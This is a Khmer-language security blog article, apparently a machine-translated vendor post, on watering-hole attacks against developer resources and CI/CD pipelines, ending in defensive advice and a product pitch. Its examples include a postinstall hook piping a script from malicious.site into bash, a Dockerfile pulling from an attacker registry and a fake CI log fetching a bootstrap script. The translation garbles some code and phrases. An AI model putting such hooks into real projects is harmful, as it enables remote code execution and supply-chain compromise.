សំណង់ដែលបានសាងសង់ Backdoor
ការសាងសង់មួយឆ្លងកាត់។ សេវាកម្មមួយត្រូវបានដាក់ពង្រាយ។ អ្វីៗគ្រប់យ៉ាងមើលទៅស្អាត។ ប៉ុន្តែលាក់នៅខាងក្នុងគឺជាការពឹងផ្អែកពុលដែលទាញចេញពីប្រភពដែលរងការគំរាមកំហែង។ នោះគឺជាការវាយប្រហារបែបបុរាណ។
នៅក្នុងសេណារីយ៉ូនេះ អ្នកវាយប្រហារមិនបានបំបែកចូលទៅក្នុងហេដ្ឋារចនាសម្ព័ន្ធរបស់អ្នកទេ។ ពួកគេបានរង់ចាំអ្នកអភិវឌ្ឍន៍ចូលមើលធនធានដែលគួរឱ្យទុកចិត្ត គេហទំព័រឯកសារ ឃ្លាំងកញ្ចប់ ឬទំព័រទាញយក SDK ដែលពួកគេបានលួចចូលរួចហើយ។ កូដព្យាបាទបានចូលទៅក្នុង... pipeline ជាមួយពាក្យបញ្ជាទាញ ឬដំឡើងសាមញ្ញមួយ។
នៅពេលដែលវាដឹកជញ្ជូន អ្នកវាយប្រហារមានជំហរស្ងាត់ស្ងៀមក្នុងការផលិត។ ហើយរបស់អ្នក។ CI/CD pipeline គ្រាន់តែជួយពួកគេឱ្យទៅដល់ទីនោះ។
តើការវាយប្រហារ Watering Hole ជាអ្វី (ហើយហេតុអ្វីបានជាអ្នកអភិវឌ្ឍន៍គួរយកចិត្តទុកដាក់)
ដូច្នេះ តើការវាយប្រហារ Watering Hole ជាអ្វី? វាគឺជាពេលដែលអ្នកវាយប្រហារធ្វើឱ្យខូចធនធានដែលអ្នកអភិវឌ្ឍន៍ ឬក្រុមជឿទុកចិត្តរួចហើយ។ ជំនួសឱ្យការកំណត់គោលដៅដោយផ្ទាល់លើអ្នក ពួកគេធ្វើឱ្យខូចគេហទំព័រ ឬឃ្លាំងផ្ទុកទិន្នន័យទូទៅដែលអ្នកទំនងជាប្រើ ហើយរង់ចាំនរណាម្នាក់ចាប់នុយ។
ការវាយប្រហារ Watering hole គឺខុសពីការវាយប្រហារ Phishing ដែលជាធម្មតាផ្តោតលើព័ត៌មានសម្គាល់ និងពីការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់ខាងលើដែលចាក់កូដមិនល្អចូលទៅក្នុង repo សំខាន់របស់កញ្ចប់។ នៅទីនេះ ការគំរាមកំហែងបានមកពីប្រព័ន្ធអេកូឡូស៊ីនៅជុំវិញអ្នក៖ ឯកសារដែលបន្ថែមទ្វារក្រោយ ឯកសារគោលពីរ SDK ដែលបានប្តូរជាមួយមេរោគ Trojans ឬបញ្ជីឈ្មោះកញ្ចប់ដែលបម្រើកំណែដែលបានផ្លាស់ប្តូរ។
ហើយធនធានអភិវឌ្ឍន៍គឺជាគោលដៅចម្បង៖ កម្មវិធីគ្រប់គ្រងកញ្ចប់ (npm, pip, Maven), ឃ្លាំង GitHub សាធារណៈ, រូបភាព Docker ដែលមើលទៅជាផ្លូវការ និងទំព័រទាញយក។ ប្រសិនបើណាមួយក្នុងចំណោមទាំងនេះត្រូវបានលួចចូល អ្នកវាយប្រហារបានស្ថិតនៅក្នុងលំហូរអភិវឌ្ឍន៍របស់អ្នករួចហើយ។
កន្លែងដែលអន្ទាក់ត្រូវបានដាំ៖ ឧទាហរណ៍ពិតប្រាកដដែលផ្តោតលើការអភិវឌ្ឍន៍ ការវាយប្រហាររន្ធទឹក។
ការវាយប្រហារ Watering hole មានទម្រង់ជាច្រើន។ ខាងក្រោមនេះជាវិធីមួយចំនួនដែលពួកគេគេចផុតពីអ្នកអភិវឌ្ឍន៍៖
- គេហទំព័រឯកសារដែលរងការគំរាមកំហែង:
នាំចូល { init } ពី 'malicious-lib';
init({ ទូរមាត្រ៖ 'https://attacker.com' });
ឧទាហរណ៍ស្របច្បាប់មួយបានផ្លាស់ប្ដូរយ៉ាងស្រទន់នៅក្នុងឯកសារ។ អ្នកអភិវឌ្ឍន៍ចម្លង បិទភ្ជាប់ ហើយបន្តទៅមុខទៀត។
- ស្គ្រីបក្រោយការដំឡើងដែលមានគំនិតអាក្រក់នៅក្នុង PR សាធារណៈ:
{
"scripts": {
"postinstall": "curl -s https://malicious.site/agent.sh | bash"
}
}
មើលទៅដូចជា PR ដែលមានប្រយោជន៍ ប៉ុន្តែវាដំឡើងមេរោគដោយស្ងៀមស្ងាត់។
- ប្រព័ន្ធគោលពីរ SDK ដែល Trojanized:
./sdk-install.sh # មានឧបករណ៍ផ្ទុកដំណាក់កាលទីពីរដែលលាក់
ឯកសារគោលពីរត្រូវបានទាញយកពី URL ដែលមើលទៅគួរឱ្យទុកចិត្ត ប៉ុន្តែត្រូវបានផ្លាស់ប្តូរ។ - រូបភាពមូលដ្ឋាន Docker ដែលបានរៀបចំ:
ពី node:slim-malicious - រត់ bash /tmp/hidden-installer.sh
ឈ្មោះរូបភាពមើលទៅត្រឹមត្រូវ ប៉ុន្តែវាត្រូវបានបង្ហោះនៅលើបញ្ជីឈ្មោះដែលត្រូវបានលួចចូល ឬក្លែងបន្លំ។
ការវាយប្រហារទាំងអស់នេះពឹងផ្អែកលើការជឿទុកចិត្តរបស់អ្នកអភិវឌ្ឍន៍ និងលំហូរការងារដែលមានល្បឿនលឿន ដើម្បីជៀសវាងការរកឃើញ។
ពីកុំព្យូទ័រយួរដៃទៅ Pipeline: របៀបដែលការឆ្លងរាលដាល
ការវាយប្រហារលើគេហទំព័រមិនឈប់នៅលើកម្មវិធីរុករកទេ។ នៅពេលដែលកូដព្យាបាទចូលទៅក្នុងបរិស្ថានក្នុងស្រុកវាអាចធ្វើដំណើរដោយស្ងាត់ៗឆ្លងកាត់ខ្សែសង្វាក់ដឹកជញ្ជូនទាំងមូលរបស់អ្នក៖
- អ្នកអភិវឌ្ឍន៍ចូលមើលធនធានដែលរងការលួចចូល (ឯកសារ ឯកសារ ឃ្លាំង គេហទំព័រ SDK)។
- កូដព្យាបាទធ្លាក់ចូលទៅក្នុងបរិស្ថានអ្នកអភិវឌ្ឍន៍ក្នុងស្រុក។
- ឯកសារ ឬឯកសារដែលឆ្លងមេរោគត្រូវបានបន្ថែមទៅ commit ហើយបានរុញ។
- CI/CD ការងារដំណើរការជំហានសាងសង់ និងដំឡើងដោយប្រើសមាសធាតុដែលរងការសម្របសម្រួលទាំងនេះ។
- វត្ថុបុរាណនេះត្រូវបានដឹកជញ្ជូន និងដាក់ពង្រាយ ដោយបង្កប់លេខកូដរបស់អ្នកវាយប្រហារនៅក្នុងផលិតកម្ម។
ខ្សែសង្វាក់នេះអាចលាតត្រដាងក្នុងរយៈពេលប៉ុន្មានម៉ោង ជាពិសេសនៅក្នុងក្រុមដែលមានល្បឿនលឿន។
ដើម្បីស្រមៃមើលរឿងនេះ សូមស្រមៃមើល ក pipeline ដ្យាក្រាមដែលតាមដានផ្លូវឆ្លងពី៖
- ស្ថានីយការងារអភិវឌ្ឍន៍: កម្មវិធីនិពន្ធ, ស្ថានីយ, ស្គ្រីបដំឡើង។
- ការត្រួតពិនិត្យប្រភព: Commits, PRs, ការរួមបញ្ចូលគ្នា។
- CI Pipeline៖ ការដំឡើងភាពអាស្រ័យ ការប្រតិបត្តិស្គ្រីប ការបង្កើតរូបភាព។
- ផលិតកម្ម: ការចេញផ្សាយវត្ថុបុរាណ ការដាក់ពង្រាយ និងការចូលប្រើរបស់អ្នកប្រើប្រាស់។
នៅជំហាននីមួយៗ ការវាយប្រហារដោយទឹកអាចនឹងមិនត្រូវបានគេកត់សម្គាល់ទេ បើគ្មានវិធានការការពារត្រឹមត្រូវ។
សេណារីយ៉ូហានិភ័យពិតប្រាកដនៅក្នុង CI/CD
ការវាយប្រហារ Watering hole មិនត្រឹមតែឈប់នៅម៉ាស៊ីនអភិវឌ្ឍន៍នោះទេ។ ពួកវាទាញយកអត្ថប្រយោជន៍ពី... pipeline ប្រឆាំងនឹងអ្នក។ ហានិភ័យពិតប្រាកដរួមមាន៖
- រូបភាពមូលដ្ឋានដែលរងការគំរាមកំហែង:
FROM attacker-registry.io/python:3.10-slim
មេរោគដែលលាក់ត្រូវបានបន្ថែមកំឡុងពេលបង្កើត។ - កំពុងទាញយកស្គ្រីប ឬឧបករណ៍ដែលមិនបានខ្ទាស់:
curl -s https://pkg.example.com/latest.sh | bash
“ថ្មីបំផុត” អាចផ្លាស់ប្តូរនៅពេលណាក៏បាន ជាពិសេសប្រសិនបើ DNS ត្រូវបានគេលួចចូល។ - កំណត់ហេតុ CI ដែលឆ្លងមេរោគ (ឧទាហរណ៍)៖
[+] កំពុងដំឡើងឧបករណ៍…
[+] កំពុងទាញយកពី https://tools.fakecdn.net/bootstrap.sh
[+] ការសាងសង់បានបញ្ចប់។
អ្វីៗគ្រប់យ៉ាងមើលទៅល្អនៅលើផ្ទៃដី។ ប៉ុន្តែបន្ទុកដែលបានផ្ទុកមាននៅក្នុងវត្ថុបុរាណរួចហើយ។
ការវាយប្រហារលើរន្ធទឹករំលោភលើទំនុកចិត្ត CI/CD បរិស្ថានដាក់នៅក្នុងប្រភព និងស្គ្រីបខាងក្រៅ។
ការបំបែក ការវាយប្រហាររន្ធទឹក ខ្សែសង្វាក់៖ ការការពារផ្នែកអ្នកអភិវឌ្ឍន៍
ដើម្បីបញ្ឈប់ការវាយប្រហារលើរន្ធទឹកឱ្យបានឆាប់ អ្នកត្រូវរឹតបន្តឹងការអនុវត្តការអភិវឌ្ឍន៍របស់អ្នក។ ការបង្ការការវាយប្រហារត្រូវតែចាប់ផ្តើមមុនពេលកូដចូលទៅក្នុងរបស់អ្នក។ CI/CD pipeline:
- ការភ្ជាប់ Pin dependencyជៀសវាងស្លាកអណ្តែតដូចជា ថ្មីបំផុត។ ប្រើ lockfiles ដើម្បីធានាបាននូវការបង្កើតដែលមានការកំណត់។
- ផ្ទៀងផ្ទាត់ការត្រួតពិនិត្យ៖ ផ្ទៀងផ្ទាត់ស្គ្រីបពីចម្ងាយ ប្រព័ន្ធគោលពីរ និងកញ្ចប់ទាំងអស់។
- ប្រើកញ្ចក់ផ្ទាល់ខ្លួន៖ ចម្លងបញ្ជីឈ្មោះកញ្ចប់សំខាន់ៗ ដើម្បីការពារការប៉ះពាល់ទៅនឹងប្រភពខាងលើដែលរងការគំរាមកំហែង។
- ផ្ទៀងផ្ទាត់រូបភាពមូលដ្ឋាន: ប្រើការសង្ខេបរូបភាព (@sha256) ជំនួសឲ្យស្លាក។ ស្កេនរូបភាពទាំងអស់មុនពេលប្រើប្រាស់។
- Run SCA/SAST មុនការបញ្ចូលចូលគ្នា៖ ធ្វើឱ្យការស្កេនដោយស្វ័យប្រវត្តិនៅក្នុងដំណើរការការងារ PR របស់អ្នក ដើម្បីចាប់បានការគំរាមកំហែងទាន់ពេលវេលា។
- ប្រើ Git hooks៖ រកឃើញ និងរារាំងការផ្លាស់ប្តូរដែលមានហានិភ័យខ្ពស់ មុនពេលពួកវាប៉ះពាល់ដល់ការគ្រប់គ្រងកំណែ។
- ព្យាបាល លេខកូដភាគីទីបី ដូចជាការបញ្ចូលដែលមិនគួរឱ្យទុកចិត្តសូម្បីតែបណ្ណាល័យដែលប្រើប្រាស់យ៉ាងទូលំទូលាយក៏អាចមានហានិភ័យលាក់កំបាំងផងដែរ។
សុវត្ថិភាពត្រូវតែបញ្ចូលទៅក្នុងលំហូរការងាររបស់អ្នកអភិវឌ្ឍន៍។ ទម្លាប់ និងការគ្រប់គ្រងទាំងនេះជួយទប់ស្កាត់ការវាយប្រហារមុនពេលវាកាន់តែធ្ងន់ធ្ងរឡើង។
មេរៀនពីវាល
ករណីទី 1: ស្ទ្រីមព្រឹត្តិការណ៍ (npm)
អ្នកថែទាំដែលគួរឱ្យទុកចិត្តបានផ្ទេរការគ្រប់គ្រងលើកញ្ចប់ដ៏ពេញនិយមមួយ។ អ្នកថែទាំថ្មីបានបន្ថែមការពឹងផ្អែកដែលបានលួចទិន្នន័យកាបូបគ្រីបតូដោយស្ងាត់ៗ។
- កន្លែងដែលវាបរាជ័យ: គ្មានការពិនិត្យឡើងវិញនៃការពឹងផ្អែកអន្តរកាលទេ។
- មេរៀន: ការប្រើប្រាស់ស្វ័យប្រវត្តិ SCA ដើម្បីតាមដាន និងសម្គាល់ការផ្លាស់ប្តូរនៅក្នុងការពឹងផ្អែកដោយប្រយោល។
ករណីទី 2: កម្មវិធីផ្ទុកឡើង Codecov Bash
អ្នកវាយប្រហារម្នាក់បានផ្លាស់ប្តូរស្គ្រីប bash ដែលប្រើក្នុង CI ជាច្រើន។ pipelineទ. វាបានច្រោះយកអាថ៌កំបាំងពីបរិស្ថាន CI។
- កន្លែងដែលវាបរាជ័យ៖ គ្មានការផ្ទៀងផ្ទាត់ checksum ទេ។
- មេរៀន៖ តែងតែផ្ទៀងផ្ទាត់ឧបករណ៍ដែលបានទាញយកមុនពេលដំណើរការវា CI/CD.
ទាំងពីរសុទ្ធតែជាការវាយប្រហារតាមរន្ធទឹក។ ទាំងពីរអាចត្រូវបានបញ្ឈប់មុន។
ការបង្ការក្នុងការអនុវត្ត៖ ផ្នត់គំនិត និងឧបករណ៍ DevSecOps
ការទប់ស្កាត់ការវាយប្រហារដោយ watering hole មានន័យថា ការកសាងវប្បធម៌អ្នកអភិវឌ្ឍន៍ដែលយល់ដឹងអំពីសុវត្ថិភាព៖
- រំកិលសន្តិសុខទៅឆ្វេង៖ បណ្តុះបណ្តាលអ្នកអភិវឌ្ឍន៍ឱ្យសួរសំណួរអំពីស្គ្រីបដែលមិននឹកស្មានដល់ ការផ្លាស់ប្តូរភាពអាស្រ័យ ឬជំហានដំឡើង។
- ស្វ័យប្រវត្តិ SCA/SAST: ប្រើ ឧបករណ៍ដែលមាន ដែលរួមបញ្ចូលទៅក្នុងដំណើរការការងារ PR ដើម្បីការពារភាពងាយរងគ្រោះ និងគំរូដែលមានហានិភ័យដែលគេស្គាល់។
- ប្រើការផ្ទៀងផ្ទាត់ហាសគ្រប់ទីកន្លែង៖ ធនធានខាងក្រៅណាមួយគួរតែត្រូវបានផ្ទៀងផ្ទាត់មុនពេលប្រតិបត្តិ។
- តាមដានក្នុងពេលវេលាជាក់ស្តែង៖ ការបង្ការតែមួយមុខមិនគ្រប់គ្រាន់ទេ។
ឧបករណ៍ដូចជា ស៊ីហ្គេនី ផ្តល់ជូននូវភាពមើលឃើញជាក់ស្តែងនៅទូទាំងខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីទាំងមូលរបស់អ្នក។ Xygeni តាមដានជាបន្តបន្ទាប់នូវបរិស្ថានអ្នកអភិវឌ្ឍន៍ សកម្មភាព Git និង CI pipelines និងការចុះបញ្ជីវត្ថុបុរាណដើម្បីរកឃើញ៖
- ការផ្លាស់ប្តូរភាពអាស្រ័យមិនធម្មតា។
- ការកែប្រែគួរឱ្យសង្ស័យនៅក្នុងស្គ្រីបសាងសង់។
- គំរូចូលប្រើមិនធម្មតាទៅកាន់ប្រភពភាគីទីបី។
ជាមួយ Xygeni ក្រុមនានាអាចទប់ស្កាត់ការគំរាមកំហែងដែលបង្កឡើងតាមរយៈការវាយប្រហារតាមរន្ធទឹកមុនពេលពួកវារីករាលដាល និងតាមដានប្រភពនៃការសម្របសម្រួលប្រសិនបើមានការវាយប្រហារណាមួយរអិលចូល។ វាត្រូវបានបង្កើតឡើងជាពិសេសសម្រាប់សម័យទំនើប។ CI/CD បរិស្ថាន ដោយផ្តោតលើការជូនដំណឹងដែលអាចអនុវត្តបាន និងភាពងាយស្រួលប្រើប្រាស់ដែលគិតគូរពីអ្នកអភិវឌ្ឍន៍ជាមុន។
កំណត់ចំណាំចុងក្រោយ៖ លឿន Pipelines, ហានិភ័យលឿនជាងមុន
ឥឡូវនេះអ្នកដឹងទេ តើការវាយប្រហារដោយទឹកគឺជាអ្វី អ្នកដឹងថាពួកគេមិនចាំបាច់បំពានហេដ្ឋារចនាសម្ព័ន្ធរបស់អ្នកដោយផ្ទាល់ទេ។ ពួកគេទទួលបានជោគជ័យដោយការបំពុលឧបករណ៍ និងគេហទំព័រដែលអ្នកអភិវឌ្ឍន៍ទុកចិត្តរួចហើយ។ ពីទីនោះ Nginx CI/CD pipeline អាចក្លាយជាប្រព័ន្ធចែកចាយរបស់អ្នកវាយប្រហារ.
ហានិភ័យពិតប្រាកដមិនមែនគ្រាន់តែជាការសម្របសម្រួលនោះទេ វាគឺជារបៀបដែលកូដព្យាបាទផ្លាស់ទីតាមរយៈរបស់អ្នកលឿនប៉ុណ្ណា។ pipeline.
រួមបញ្ចូលការត្រួតពិនិត្យសុវត្ថិភាពទៅក្នុងលំហូរអភិវឌ្ឍន៍របស់អ្នក មិនមែនជាការគិតទុកជាមុននោះទេ។ ពីព្រោះនៅពេលដែលវាត្រូវបានដឹកជញ្ជូនរួចរាល់ វាយឺតពេលហើយ។







